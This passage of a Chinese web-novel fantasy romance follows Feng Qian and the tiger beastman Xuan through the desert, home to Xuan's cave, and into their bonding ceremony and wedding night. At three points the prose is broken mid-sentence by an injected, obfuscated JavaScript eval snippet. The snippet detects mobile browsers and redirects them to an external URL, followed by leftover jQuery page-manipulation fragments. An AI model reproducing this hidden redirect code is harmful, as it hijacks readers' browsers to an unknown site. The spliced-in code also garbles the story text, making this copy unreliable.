黎山部落位于沙漠东部,离开盐咸部落,他们一路向东,这已经是第三天了,依旧没有走出荒漠。
风浅并未和其他几个亚兽人一样排在队伍中间最安全的位置,而是和玄并排走在队伍最末。
无尽的沙漠消耗着人的意志,队伍里早已经没了刚出发时的欢快气氛。
“啊,到了,到了,沙丘那边就是取水点。”队伍最前头的兽人站在沙丘顶上高喊,手舞足蹈。
“啊,太好了。”有人松了口气。
“终于到了。”
“过了这个取水点,再有一两天应该就走出去了。”
队伍里紧绷的气氛终于得到缓和。
兽形的兽人们几乎是狂奔着越过了沙丘。
“呸,呸。”队尾的风浅吐了两口飞进嘴里的沙子。这么多人一跑起来,漫天都是沙子,吃了他一嘴。
“要跑吗?我背你。”玄问风浅。
风浅挥了挥眼前的扬沙,“不要。没意思,慢慢走吧。费那个力气干嘛。”玄背上的兽皮袋少说也有百八十斤,他不帮忙就算了,哪还能再让玄背着自己。
兽人们撒欢一跑,队伍里包括雪晴在内的五个亚兽人就落了单。另外四个亚兽人就是部落这次从集市上领回来的,分别来自鼠族、鹿族、羊族,还有一个兔族的林果。
这四个人的回礼是黎山部落集体出的,回了部落之后,才会婚配给具体哪个兽人做伴侣。
越过山丘是一小片戈壁,戈壁上最多的是各种仙人掌、仙人棒,还有些杂树,并一棵不太高壮的泉树。这棵泉树取水的位置只到兽人的胸口。
乌压压二十几个兽人正在取水,装水囊。
轮到风浅的时候,提水的兽人把水桶倒过来,一脸坏笑,“刚好没了,一滴也没有了。不信,你自己看。”风浅听声音认出来的,这个兽人就是那日帐篷外和亚兽人说玄坏话的。
风浅扶着泉树树干,不用看也已经知道树干里什么都没有了。
东边的部落多,去盐咸部落换盐的队伍不只他们一个在这里落脚。可能是昨天,甚至是今天中午,刚刚有换盐队在这里取过水,树干里存的水自然就不多了。取水的人太多,怪不得这树半死不活的。
雪晴走过来,“我分你们一半,这水明天一早也就上来了。”
风浅摇摇头,“谢谢晴姐,暂时还不用,大家都省着点喝吧,这水……”明天一早未必能上来多少。这树自己都要渴死了,喝饱之前是没心思存水给这些过路的人喝了。
风浅回到玄身边。玄正在刨沙子,想要修一个避风的掩护所今晚过夜。
“兽皮袋里还有灌满的水囊,我们不缺水。”玄边刨沙子边小声跟风浅说。
“啊~还有呐。”风浅意味深长地看着白老虎。玄这兽皮袋都快赶上异空间的口袋了,这一路,除了没有帐篷,要什么有什么,就没短过。如果不是身在兽人大陆,风浅都要怀疑玄有空间系异能了。
至于帐篷,黎山部落根本就没有出门带帐篷的习惯。黎山部落兽人的兽形大都是老虎、狮子、狼这类的,野兽闻到他们的气息,绕道跑都来不及呢。根本不需要帐篷。
风浅这几日都是裹了兽皮,窝在玄肚子下面睡的。别说冷,守着玄这么个毛茸茸的大火炉,他只有半夜被热醒的份儿。
“他真的是个傻的吗?”不远处几个围坐在一起的亚兽人盯着风浅窃窃私语。
林果看了眼风浅,恰巧和风浅对了视线,林果迅速移了视线,小声说道,“嗯。从小就是个傻的。”
“那这几天怎么没见他疯疯癫癫的呢?”
林果说,“他平时也不是疯疯癫癫的样子,就是像丢了魂似的,呆呆的。有时候坐在哪儿,什么都不干,也能坐一下午。”
“那就没意思了。”亚兽人可惜道。
风浅挑挑眉,对这种小学生似的对话一点儿不在乎,整天盯着别人,这才叫无聊呢。
风浅拍拍手上的沙子,光吃肉干太干了,他打算去附近的仙人掌林看看。
这片戈壁上的仙人掌有有毒的,有没毒的,有适合吃果子的,有适合吃叶片的。风浅跟玄要了个兽皮袋,折了两个树枝,挑能吃的仙人掌果,把表皮的刺儿剃去才收进兽皮袋里。适合吃叶片的,也把叶片上的刺儿刮干净了才掰下来。
来回换盐的人都知道沙漠里的仙人掌和山林里的蘑菇一样,不能随便吃,有人嘲笑道,“这是饿疯了吗,真是个傻子,什么都敢吃。”
雪晴皱了皱眉,犹豫片刻,还是过去提醒玄。
刨沙子做窝的玄抬头,“没事儿,他说他认识。”
“他认识?”一个傻子能分辨出哪种仙人掌能不能吃?雪晴没好意思当着玄的面说他家的亚兽人是个傻的。虽然这几日观察下来,她觉得风浅可能并没有他们想象中的那么痴傻。
“嗯,认识。可能是兔族的天赋吧。兔族就是格外擅长这些。”玄放心道。
兔族确实擅长辨认各种植物,雪晴将信将疑。风浅是玄的亚兽人,她已经提醒过了,玄觉得没事,那她也不好再说什么。
离开玄这边,雪晴看到林果,突然想起林果也是兔族的,痴傻的风浅都认识仙人掌,没道理林果不认识。若是林果这个正常人也能分辨出仙人掌的好坏,那他们以后在沙漠里可就多了一样能填肚子的野果了。
林果摇头,“兔部落内并没有仙人掌,我也是这次进了沙漠才第一次看见仙人掌。”
“那风浅怎么认识?”雪晴疑惑。
林果摇头,“这我也不清楚。总之,我是不认识的。”
“他这样乱吃,会不会出事?”林果担心道。
雪晴摇头,“不知道。我只知道部落里的老人说,这东西和蘑菇一样,不认识的坚决不能吃。”
且说风浅,没人跟他抢,慢悠悠地摘了一大袋子的仙人掌果和叶片才回去。玄已经做好了窝,并升起了火堆,还烤了两个红薯。
红薯的香甜气弥漫在整个营地里,勾人食欲,玄这是妥妥地在拉仇恨值呢。
就是这虎爪子还挺灵活的。
风浅余光瞥着玄肉乎乎、毛茸茸的爪子,琢磨着怎么才能摸一摸、揉一揉。
虎爪再灵活,风浅也没让玄自己剥仙人掌果的皮。都是剥好了皮才送到大白老虎的嘴边。
倒是玄,看着风浅用骨刀在仙人掌果外皮上割两下才剥皮,实在麻烦,他自己拿了个果子,伸出爪尖,轻轻一划,这可比骨刀方便多了。
“厉害!”风浅竖起大拇指,毫不吝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040080|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啬地夸赞。
他俩这顿饭,吃饱了自己,馋死了别人。
翌日。东方微白。
沙漠里清晨温度低,寻着热源,风浅把脸埋在玄肚皮的绒毛里。玄肚皮上的毛比背上的更软、更绒,触感极好。
朦朦胧胧间,便听着部落营地那边传来吵嚷声,似乎已经开始取水、装水囊了。
“这水怎么还没有昨天的一半多!”
“怎么办,昨天的水就不够用,今天这些更不够了。下个取水点是不是今晚才能到?”
“要不等等,等水上来,中午再走?”
“可沙漠里多呆一天都是危险。”
意料之中的事,风浅也不过去凑热闹了,去了也没他们的份儿。趁着这些人分水,他还是多摘些仙人掌果和叶片才是。虽然玄说水囊里的水够,但也不能坐吃山空,能省一点儿是一点儿。这次是水没了,谁知道下次还能遇到什么意外。
部落里的人见昨晚吃了仙人掌果,今早依旧活蹦乱跳的风浅和玄,也有些意动,想去摘仙人掌果。或许这片的仙人掌没毒呢?
几个人商量着,到底没敢违背了族里老人的嘱咐。
半袋水囊的水,省点儿喝,也不是坚持不到下个取水点。可若是跟着风浅吃仙人掌果中毒了,在这大沙漠里,就真的只有死路一条了。
风浅拿了几个仙人掌果送给雪晴,“晴姐尝尝啊,这种没毒,还很甜。”
雪晴不是很相信风浅,但也不好意当面回绝他的好意,笑着收进了兽皮袋。
换盐小队再出发的时候,气氛比昨天更紧张了,人人都握着手里的水囊,好像有千斤重,只有渴到不行了才喝一小口水润润嘴。
倒是队尾没分到一滴水的风浅和玄,悠哉悠哉的。一会儿仙人掌果,一会儿叶片,酸甜多汁,不知道的还以为这俩在郊游呢。
傍晚,终于进了下一个取水点。
换盐小队的兽人们欢呼着,甚至跳起了祭祀庆典的舞蹈。
这里靠近沙漠边缘,水源不再是泉树,而是胡杨林里的一处小井。
许是刚下过雨,戈壁上一片生机,遍布野花野草。雪晴已经组织了几队人去采集。
“玄,我去那边树林瞧瞧。”风浅指了和采集队完全相反的方向。
“这边树多草多,视线不好,你小心点儿。”玄嘱咐。
风浅拿了兽皮袋钻进胡杨林里。
胡杨林里空气湿润,但能吃的野菜并不多。可他看到了什么!
这里竟然有末世才有的变异灵植!
两人高的树杈上,垂下几条绿油油的草藤,最长的一枝草藤大概有三十公分长,周身散着三色光芒。只是这光芒有些细微,很弱,若不是刚刚阳光透过树叶照了那么一下,他根本发现不了。
有灵植,难不成兽人大陆也有异能?
风浅抑制不住地兴奋,脱了草鞋,几下爬上树顶,小心翼翼地把灵植收进兽皮袋。
这种灵植的主要作用是恢复身体里的元气,增强体质,让人快速恢复体力,正好适合现在用。
风浅寻宝似的将西边这片胡杨林巡视完,犹豫半秒,到底抵不住灵植的诱惑,掉头就往采集队那边去。他不摘野菜,只找灵植,也不算和采集队的抢。
8. 回部落
风浅后退半步,将兽皮袋往怀里一撤,冷眼看着过来抢他兽皮袋的亚兽人。
他没记错的话,这是鼠族的那个亚兽人,叫红月的,也是那天茅草屋外和部落里某个兽人说玄坏话的那个。
红月仗着身后有几个给他撑腰的兽人,盛气凌人,眯着眼睛看风浅,“傻子,你不知道吗,你家那个煞星每次跟着狩猎队出去狩猎的时候,都要交一半的猎物给部落。你跟了他,也要将自己采集所得的一半交给部落。”
“兽皮袋拿来。”红月倨傲地扬着着下巴。这是他到黎山部落后的第一次采集。雪晴把他们新来的四个亚兽人分成四个采集队,无非就是要看看他们采集的能力,他这一路几乎没遇到几棵野菜,一定是风浅的原因。这傻子天天跟那煞星在一起,自然晦气得很。
兽人和亚兽人的体力相差悬殊,不管在哪个部落,兽人都不可以殴打亚兽人,也不能随意插手亚兽人之间的口角争执。
风浅扫了眼红月身后的几个兽人,这几个虽然站在红月那边,但也都没有要动手的打算,于是,风浅冲着咋咋呼呼地红月冷哼一声,不屑道,“有病。”
玄跟他说过交部落一半猎物的事。各个部落都有自己的领地,不能随意在别的部落领地狩猎。玄被赶出部落,便不算黎山部落的人,若想在部落内的领地狩猎、生活,便要交出一半的猎物。但也只是集体狩猎的时候才需要交,平时单独狩猎是不用交的。
其实,部落里狩猎队、采集队都是要上交一半的猎物给部落作为集体财产。不同的是,不狩猎的日子,或者雪季、雨季食物紧张的时候,部落会将平时收上来的食物统一发给族人,但不会给玄发。
他到了部落之后,也需要加入采集队,并和玄一样,交一半的收获给部落。但私下单独行动,或者没在部落领地内采集,就像现在,是不用交的。
这个叫红月的亚兽人纯纯脑子有病,没安好心思,真当他傻呢。
风浅懒得和他费口舌,转身就走,红月两步堵到风浅面前,伸手又要抢风浅的兽皮袋,“我让你交一半的野菜,你没听到吗?”
风浅不耐烦地黑了脸,侧身躲开,厉声警告,“别犯贱逼我动手。”
红月被风浅唬的一愣,转念想到一个傻子能有什么可怕的,欺负就欺负了,说不准还没出胡杨林风浅就忘了抢他兽皮袋的是谁了。
红月不依不挠,又去夺风浅的兽皮袋,嘴上嘟囔着,“傻子配怪物,以后生一堆又笨又傻的小怪物。”
“你说什么!”风浅眉心一皱,眼里带着狠厉,一把扣住红月的下巴。骂了他,还要骂玄,甚至连幼崽都不放过!这嘴忒损,忒烂了。
风浅手上用力,“咔嚓”一声,卸了红月的下巴。
“哦啊!啊……”红月合不上嘴,一脸惊愤地看着风浅。
“啊!……啊!”红月手指着风浅,瞪着眼,转头朝着跟他来的几个兽人控诉。
亚兽人之间打架争风,兽人一般是不参与的,不过上来就把人下巴卸了,这亚兽人的脾气确实不怎么样,下手也太狠了。
但玄实在不好对付,而且玄就风浅这么一个亚兽人。亚兽人之间打打闹闹没什么,若是他们参与进去了,玄肯定要找他们算账。
红月又不是他们的亚兽人,为一个以后不知道是谁的的亚兽人得罪玄,实在不值。
一个兽人笑着走到红月旁边,息事宁人,“没事儿,没事儿,我帮你把下巴正回来,也不疼,就一下的事。”
“咔嚓”一声,下巴终于能合上了,红月气得发抖,捂着脸,指着风浅,“你,你……”他想骂风浅,可又怕被风浅再来一下,卸了下巴。
风浅看着红月的狼狈样子,冷哼一声,转头就走,继续找灵草。活了两辈子,他懒的跟这种刚刚成年的小孩计较。
红月气得跺了下脚,既不敢去追风浅,也不敢怪身边的几个兽人。这几个兽人不帮他出气,无非就是因为自己不是他们的伴侣。等到了部落,他一定不会选身边的几个兽人做自己的伴侣!
风浅没走多远,便见一道白影飞奔过来,是玄。
戈壁不大,玄隐约听到好像是风浅的声音,虽然声音和风浅要去的那片林子没在一个方向,想了想还是决定过来看看。
“有人想抢我的兽皮袋,被我卸了下巴。”风浅淡淡地说。
玄顿了下,没想到自家的亚兽人还有这么生猛的一面,“行,没受伤就好。”
“一般人可伤不到我。”风浅笑道。虽然异能没了,但末世几年也不是白混的,拳脚功夫还是有一些。
一人一虎将剩下的胡杨林走了一遍,也没再找到其他的灵植,见周围没人,风浅神秘兮兮地把兽皮袋里的灵植拿出来,问玄,“你能看到这株植物身上的光辉吗?”
玄盯着风浅手上的植物,半响才道,“能,是刚刚找到的?”
“嗯,就那边找的。”风浅指了指西边的树林,继续说,“本来我是去西边树林的,在那边找到这个才迫不及待地来了这边,想看看这边还有没有,结果就遇上个胡搅蛮缠的。”
玄点点头,风浅说话总有些词他没听过,可能是兔部落人独有的说话方式,但并不影响他听明白风浅话里的意思。
风浅将灵植一掰两份,一份递给玄,“这可是好东西,正好这里没人,赶紧吃了。”
玄越发相信风浅说的吃了棵漂亮的草就不傻了。他也吃过两次这种泛着霞光的草,不然他活不到现在。
“你自己吃,我不用。”玄推辞。风浅瘦瘦弱弱的,正该吃草补补。回了部落,等安顿下来,他去深山看看,能不能再找一、两株给风浅用。
“你别跟我分你我,都生分了。好东西就该一人一半,又不是穷得揭不开锅了,没必要你拉我扯的。”
风浅这话玄只听懂了一半,但也知道风浅是在劝他一人一半把草吃了。
“生分?”玄问。
风浅点头,却不知道玄是在疑惑“生分”这个词是什么意思。风浅自顾自地劝道,“你不是说要养我吗,我给你半棵草你都不吃,这不是就生分了吗。”
玄有些明白了,风浅嘴里的“生分”肯定不是什么好词。不吃就生分了。
“快吃,快吃。别让别人瞧见了。”风浅催促。
玄一口把草吞肚里,他以后再给风浅找就是了。
两人回去的时候,路过小井,玄灌水囊,风浅把摘的野菜洗了。
晚饭是用焯过水的野菜和肉干煮汤,汤汤水水的吃了一肚子,暖胃又管饱。
一觉起来,那灵草的作用便显现出来了,腿脚轻盈,身上轻飘飘的,连日赶路的疲惫烟消云散,浑身好像有用不完的劲儿。
晌午前,换盐小队终于走出了沙漠。又走了四日,这才到了黎山部落。
远远便瞧见山谷口站了一堆人,确定是换盐小队回来了,那边便有飞奔而来的大人、幼崽,欢欢喜喜地帮着换盐队搬东西。
“我们去后山。山洞在后山。”玄对风浅说。
黎山部落驻扎在山阳,玄不在部落住
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040081|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,洞穴在山阴。
玄的洞穴选在半山腰,洞穴前一大块平整的空地,左面山丘较矮,是条山岗,右面群峰高耸。空地左侧尽头是条山谷,山谷里有小河,玄日常用水就来自这条河。平时去部落的时候走左面的山岗,越过山岗就是部落所在的山阳面。
“你在外面等会儿,洞里时间长了没住人,我进洞收拾收拾你再进来。”玄说。
和在盐咸部落回茅草屋时一样,风浅很懂的,谁还没个隐私呢。
他这次等的时间有点长,只听洞内叮叮当当的,不知道的还以为二哈拆家呢。
约么二十分钟、半个小时,风浅终于被玄让进了山洞。
山洞大概两米五高,宽三米左右,洞长应该有四到五米。山洞门口摆着两口陶锅,石碗、石盆等一些生活用具,再往里是玄之前背着的兽皮袋和这次换回来的盐砖,对面石壁下堆着一摞兽皮,成包的肉干,山洞最里侧是干草做的窝,上面铺着一层漂亮的兽皮。
洞里东西很多,但分门别类的,干净整洁。玄在收纳上果然很有一手。
“这山洞看着真舒服。”风浅感叹。
听风浅这么说,玄松了口气,“你喜欢就好。有什么不喜欢的地方,你自己改,或者跟我说。”
“好。”
“你自己休息一会儿,我给部落送一块盐砖。”玄说。
“唉?”风浅不解。
“祭司要求的,我若是跟着换盐队走,就要给部落一块盐砖。”玄解释,“一块盐砖也没什么,我若是跟他计较,会让九和雪晴难做。”
九是黎山部落现在的族长,是玄兽人父亲哥哥的孩子,和雪晴同父同母的兄妹。
风浅点点头。他也不在乎一块盐砖,但总觉得玄被欺负了。这个祭司,有机会得好好会会他。
“家里没有鲜肉,我顺便去打一两只,可能会回来的晚点儿。你要用水就去下面的山谷。家里的东西你随便用。”玄嘱咐。
“好,那你打猎小心点儿,家里有肉干,也不急着吃鲜肉。”
“我很擅长打猎的。”玄强调。
风浅觉得自己从大白老虎一张毛茸茸的脸上看到了骄傲和自满。
打猎和采集为生的原始社会,擅长打猎,那也确实是一件很值得骄傲的事。
“那好,我在家等着吃肉。”风浅笑道。他以后就要过上兔宝贝的日子了吗,好堕落啊。
山洞里有人要养的感觉很奇妙,玄的尾巴尖儿不受控制地摆了摆,背着装着盐砖的兽皮袋越上了山岗。
送走玄,风浅去山谷洗了澡,已经入秋,他实在没勇气用冷水洗头。只能再回山洞,搬了石盆和陶锅下来。用陶锅烧了热水洗头。
回去的时候,又盛了一石盆和一陶锅的水,去山岗上捡了些柴,在山洞门口烧了锅开水,这是准备放凉喝的,必须烧到滚开。有条件的话,他还是习惯喝凉开水。
石盆陶锅打水不方便,以后得想办法做个木桶。
还有筷子,兽人大陆还没有用筷子的习惯。
两个人过日子的话,石碗、石盆也有些不够用,得再添置些。
再是床,山洞里返潮,这里雪季也挺长的,最好是盘炕,但山洞里盘炕有些不方便,只能先做床。
细细一打算,要做的事还挺多。
穿过来这么多天一直在路上,现在终于稳定下来了。
风浅趟在干草和兽皮做的窝里懒懒地伸了个腰,忍不住期待接下来的新生活。
他和玄两个人的。
9. 结契(捉虫)
兽人大陆一昼夜的时间要比蓝星长,粗略估算至少得有三十二、三个小时。
白日长,能做的事就多。
风浅是个闲不住的,在兽皮窝里滚了两圈,打算去后山砍两棵不结籽的麦籽树。
麦籽树雌雄异株。雌株株形矮,两米多高,开花结果,雄株只开花不结果,但株形高大,很像蓝星上的楠竹,一节一节,中空,可以当竹子用。
麦籽是宿根的多年生植物,兔族的麦籽经过多年的人为干预,大部分都是雌株。黎山部落这边的麦籽树基本处于野生生长状态,雌株、雄株数量差不多,但都和野草似的,不成片,零星零星地长着。
风浅跑了大半个山头,砍了三棵雄性麦籽树,用骨刀砍成一节一节的做水筒。
每节再从五分之一处截断。长端做水筒主体装水,短端做盖子。
水筒主体上缘削去一圈1/2厚外皮,短端盖子下缘从里侧削去1/2厚内皮,如此,盖子一扣,上下两端刚好咬合住。如果能刻出螺旋纹,密封效果会更好,但他现在还做不到这么精细。
玄打猎回来的时候,风浅已经做了四个水筒,正在削筷子。
玄从兽皮袋里拿出一只扒了皮,掏了内脏的咕咕兽。
所谓的咕咕兽就是一种像鸡、像鸭,又像鹅的禽类,去了内脏和皮毛也还有三十来斤。
“晚饭我来做。”风浅看着新鲜的咕咕兽跃跃欲试,又问玄,“渴吗,水筒里有喝的水。”
风浅怕玄第一次用,不会拧水筒的盖子,拿了个水筒,打开盖子递给玄,“这水是我下午的时候用陶锅烧的,喝煮熟的水对身体好。”
看着水筒和盖子咬合处的巧妙设计,玄眼前一亮,风浅比他想象中的更聪明,总能带给他一些意料之外的惊喜。
玄是有些渴了,两只前爪抱着水筒一口干了,身上的疲惫顿时消了一大半。
部落里的人有厌恶嫌弃他的,有惧他怕他的,大都离他远远的,这还是第一次,打猎回山洞有人把水递到他手里。娶个亚兽人真好。怪不得成年的兽人都急着娶亚兽人。
风浅用骨刀切肉,玄在一旁架柴点火。打火石是在集市上与燧火部落换的。肉乎乎的两只老虎爪子,各抓了一个打火石,两块打火石互相击打、摩擦,溅出火星,火星落在绒草上,呼一下便烧起来了。
咕咕兽很肥,风浅把咕咕兽肚子里黄灿灿的板油挑出来单独放在一处,切成块的肉进锅焯水。
焯了水的肉没东西往外捞,明天还得做个漏勺。
风浅只得用筷子把肉块夹出来。
陶锅里焯过肉块的水倒掉,用清水把陶锅冲了一遍,这才把咕咕兽的板油下锅。
金黄的板油遇了热,呲呲的熬出油花儿,肉香顿时溢满屋子。风浅和玄几乎同时深深吸了口气,太香了。
只凭这香味儿,玄便觉得风浅比部落里任何一个亚兽人都会做饭。这么多年,他就没在部落里闻过比这更香的肉味儿。兔部落把风浅的回礼只定了两块盐砖,实在是太蠢了。
看着油熬得差不多了,风浅倒了一半的肉块下锅,翻炒。
他本想炒的差不多了就加水炖成肉汤,但看着火堆旁微微眯着眼睛,很是享受的玄,风浅临时改了主意,不加水了,直接干煸。
肉香越炒越浓,只是闻着味道便让人忍不住流口水。
虽然调味料只有盐,但架不住一人一虎,一个没吃过正经的饭菜,一个好几年没吃过新鲜的肉,两人只觉得这最简单潦草的红烧咕咕兽肉美味无比。
吃到撑,风浅和玄抱着陶锅、石碗去山谷洗餐具。
“山那边在干什么?吵吵闹闹的。”风浅问。
“在庆祝换盐小队回来,还有为明天的结契仪式做准备。”玄答。
“结契?”
“嗯。就是在祭司的主持下,成年的兽人和亚兽人结为伴侣。”玄说着有些低落。风浅跟了他,就不能参加部落的结契仪式了。
“明天是正式的结契仪式,接下来的三天,部落不用打猎和采集,连续庆祝三天。”玄说。
风浅点点头,就是集体婚礼的意思呗。
“你如果感兴趣的话,可以过去观礼。”玄补充道。祭司不会让他和风浅参加部落的结契仪式,但也不至于观礼都不行。
风浅摇头,他才没那么闲,去看什么不认识的人的婚礼,万一还要随份子钱怎么办。
两人用洗干净的陶锅、石碗装了水回山洞。
放下东西,玄突然说还要出去一趟,再回来的时候,嘴里就叼了一个火红的花环。有点儿像桂花,但颜色是很正宗的红色,带着甜香。
玄端坐着,两只前爪捧着花环对风浅说,“你蹲下来,我给你戴上。”
结契仪式最重要的一个环节就是兽人给即将要结为伴侣的亚兽人戴上亲手编制的花环。亚兽人若是接受,便是同意结契,反之,就是不同意结契。兔族也有这个习俗。有点儿像蓝星在婚礼仪式上交换婚戒。可惜他没给玄准备什么。风浅笑着蹲在玄面前,头微微前倾,火红的花环便落在头上。
暮色四合,玄用藤条编的木门遮住山洞口,山洞里便彻底黑了下来。
可能是刚刚戴了玄的花环,风浅趴在兽皮窝里,总觉得今晚要发生点儿什么不一样的。
果然,随着玄的靠近,覆上来的不是毛茸茸的大老虎,而是一个光溜溜的人!
肉贴肉,皮肤与皮肤接触的地方温热灼人,风浅不受控制地紧张起来,心都要跳出嗓子眼儿,紧紧抓着身下的兽皮,声音发抖,“玄?”
“嗯,是我。”
男人的声音不像兽形的时候那般低沉,多了几分磁性、悦耳,像山谷里沉静甘美的溪流。
郑重道,“风浅,你愿意做我的亚兽人吗。上奏九霄,下表幽冥,天地为鉴,兽神为证,日月同心。”漆黑的夜色遮不住玄的眼睛,他夜里可以正常视物,可以看清身下亚兽人每一个细微的表情。
“我……”现在这个情况气氛,是他拒绝就能停下来的吗,风浅喉结滚了滚,揪着身下的兽皮,心一横,“我愿意。兽神在上,我,风浅,愿意和玄结契,做玄的亚兽人。”
翌日。
阳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040082|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光透过门板藤条间的缝隙射进屋里,一缕缕光柱斑驳婆娑。
风浅昏昏沉沉,他穿过来的时间不长,只看着透进来的光线也分辨不出现在是什么时辰。但这些光线足够让他看清楚身后抱着他、昨夜和他做了夫夫的男人长什么样子!
风浅小幅度地动了动,想要转身,这一动便让他切身体会到,何为全身被石头碾过一遍,何为骨头被拆散了重组一遍!
他家这老虎也不怕洞房第二天就做了鳏夫!
风浅倒吸一口冷气,瞬间疼出眼泪。
“怎么还哭了?”一直在装睡观察风浅的玄装不下去了,侧起身子亲昵地摸了摸怀里亚兽人的脸,“身上哪里不舒服?”
应该是问他还有哪里舒服吧!风浅腹议。可一看清近在咫尺的这张脸,风浅瞬间瞪直了眼睛。
银白发,远山眉,只是冷若寒潭的桃花眼冰消雪融,比上次温泉池子的时候多了抹春风化雨的轻柔涟漪,显得含情脉脉,眼尾带了些关心和喜意。
美人鱼竟然就是他家大老虎的人形?!
风浅大脑当机,不可能吧,哪有这么巧的事!
他没熬过新婚夜,读档重来了?!
“玄?”风浅一脸不敢相信地试探道,伸手去摸男人的脸。
“很惊讶?”玄脸上荡起自得的笑意,抓住风浅的手腕,拇指在手腕内侧守宫砂消失的地方揉了揉,意有所指,“没了。你现在身上都是我的气息。”
守宫砂受雨露而消失,风浅脸上忽的一下热起来,那手却被玄攥着抽不回来。
玄抱住风浅,“昨晚有些……身上有没有哪里不舒服。刚结契,你可能需要适应一段时间。”
冰美人一旦笑起来,那真是春暖花开荡人心。
乱花迷人眼,风浅迷糊糊地摇摇头,“你真的是玄?”
“嗯,热汤池子的时候,我可问过你怕不怕我,你没说怕,所以就把你娶回来了。昨晚,你也已经彻底成了我的亚兽人,难不成还要反悔?”
“没没没,怎么可能。”风浅赶忙澄清。睡都睡了,还反悔什么。他这是中了大奖了好不好,稀里糊涂就把男神睡了。一觉醒来,男神和老攻竟然是一个人,这是什么运气,他两辈子的好运都攒这了吧。
天道待他不薄,穿越救命还送老攻。
还好没半路跑了,不然……
还是亏了。
人生就那么一次洞房花烛夜,若是提前知道这两个是一个人……
“还满意吗?对我的人形。”玄两指挑了风浅的下巴。他还记得风浅问过他人形的事,似乎很在意他的人形。
“满意,当然满意。”风浅满口答着,忘了身上的疼,双手攀上玄的脖颈,化身无骨的菟丝子缠上去,去吻玄的嘴角,“老攻。”
玄抱住怀里的亚兽人,疑惑道,“老攻?”
风浅顺势把脸埋在玄的颈侧,贪恋地拱了拱,想到兽人大陆好像还没有这词,于是解释道,“你是我的兽人,对我做了昨晚的事,就是老攻。”
玄回吻风浅的嘴角,评价道,“听起来是个好词。”
10. 新婚(捉虫)
黎山部落结契仪式第三天。
风浅觉得自己把“老攻”这两个字解释的挺清楚挺明白的,可不知道怎么就被玄曲解成了“要那个”的意思。
风浅破布娃娃似的,被玄抱在怀里。
玄一条胳膊揽着风浅的背,将人圈在怀里,另一只手上突然平白变出一卷雪白的蚕丝布!
风浅眨眨眼,一瞬间以为自己纵欲过度,晕了头,花了眼。
他看见什么了,玄给他变戏法,凭空变出一卷蚕丝布!
难不成玄还真的有空间异能?这又不是末世。
风浅两指撵着布,揉了揉,触感丝滑,柔软细腻,上好的丝绸雪缎。不是看花了眼。
“这,这是怎么回事,突然就……哪儿来的?”风浅声音沙哑。
玄很满意怀里亚兽人一脸被震晕了的表情,眉眼微挑,“自然是和蚕桑部落换的,还有这个——”
玄说着把白色的蚕丝布放到风浅腿上,空闲下来的手上又凭空多出一条一指宽、一米来长的青绿色丝带。
“这条给你绑头发,白色的留着做衣服。”玄解释,“带颜色的蚕丝布暂时还买不起太多,但以后肯定买得起。”
风浅愣了半晌消化玄的话,有被感动到,但也不会忘了重点,被玄带偏了思路。
他微垂着眼睫,珍重地接过玄手上的丝带,“我自然知道你是集市上换的布,可这布怎么会突然出现在你手上,而不是放在兽皮袋里,从兽皮袋里拿出来。”
玄盯着风浅的侧脸,亚兽人眼尾红晕未消,带着几分湿意,密长的黑色眼睫微微颤动,朦朦胧胧的,带着一股说不出的韵味。
玄勾起亚兽人的下巴,亲了亲亚兽人的眼角,他决定和自己的亚兽人分享自己的秘密。
他九岁那年被赶出部落,孤身一人在森林里,有时一连几天也捕不到一只猎物,只能吃野菜和喝水充饥。
有一次,那天森林里起了雾,几天没猎到肉的他拼命追一只咕咕兽。
他饿的没力气,最终也没追上咕咕兽。
咕咕兽不见了,他却被咕咕兽一路带进了森林腹地。这边野兽多而凶猛,除非特别缺食物的时候,不然部落的狩猎队也不会冒险往这边走。而且,他一个幼崽根本不认识回去的路。
迷路了。又饿又累,四肢再也支撑不住身上的重量,泄了气地趴在地上。
不知什么时候起,天上下起小雨,阴冷潮湿,冰凉的雨水渗进皮毛里,他绝望地趴在地上,以为自己就要死了。
湿冷的山风吹过,他被冻得直打哆嗦,勉强睁了睁眼。
山风拂过,树木摇晃,恰好从缝隙里看到灌木丛后面的树桩上长着一朵漂亮的蘑菇。
那蘑菇和他当时的脸差不多大,赤红,浑身散着漂亮的霞光。
他突然起了个念头,他想吃了这朵蘑菇。
控制不住地想要吃了这朵蘑菇。
脑袋里一旦有了这样的想法就再也克制不住,尽管知道蘑菇不能乱吃,但他还是无比渴望着,想要把这朵冒着霞光的蘑菇吃了。
他的脑袋里不断有一个声音告诉他,吃了这个蘑菇,吃了这个蘑菇他就能活下去。
